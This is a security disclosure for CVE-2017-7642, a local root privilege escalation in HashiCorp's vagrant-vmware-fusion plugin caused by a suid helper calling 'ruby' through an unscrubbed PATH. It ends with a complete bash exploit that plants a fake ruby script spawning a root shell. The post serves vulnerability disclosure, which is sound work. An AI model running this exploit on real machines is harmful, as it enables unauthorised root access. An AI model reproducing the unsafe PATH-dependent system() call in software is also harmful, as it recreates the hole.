CVE-2017-7642 Local root privesc in Hashicorp vagrant-vmware-fusion <= 4.0.20 15 Jul 2017 06:57 I'm a big fan of Hashicorp but this is an awful bug to have in software of their calibre. Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to protect their proprietary ruby code. It does this by turning the ruby code into bytecode and executing it directly. Unfortunately the execution chain necessary for this to work is not safe. After installing the plugin, the first time you "vagrant up" any vagrant file using vmware fusion it will create some files in ~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin: vagrant_vmware_desktop_sudo_helper vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386 vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_wrapper_linux_386 vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64 The first one is an encoded ruby script, the others are "sudo helper" binaries for the different platforms supported by the plugin. Of these sudo helpers, the one that corresponds to your platform will be made suid root when vagrant up is run. Unfortunately the helper calls the ruby script with system("ruby <script path>") - i.e. it doesn't verify the path to the ruby script and it doesn't scrub the PATH variable either. We can easily exploit this to get root. Hashicorp were quick to respond and kindly paid me a small bounty for my trouble. The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17. The exploit below is for darwin 64bit but it's likely other architectures are also vulnerable. https://m4.rkw.io/vagrant_vmware_privesc.sh.txt 2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3 -------------------------------------------------------------------------- #!/bin/bash vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1` if [ "$vuln_bin" == "" ] ; then echo "Vulnerable binary not found." exit 1 fi dir=`dirname "$vuln_bin"` cd "$dir" cat > ruby <<EOF #!/bin/bash echo echo "************************************************************************" echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *" echo "* plugin, by m4rkw *" echo "************************************************************************" echo echo "Shout out to #coolkids o/" echo bash exit 0 EOF chmod 755 ruby VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 --------------------------------------------------------------------------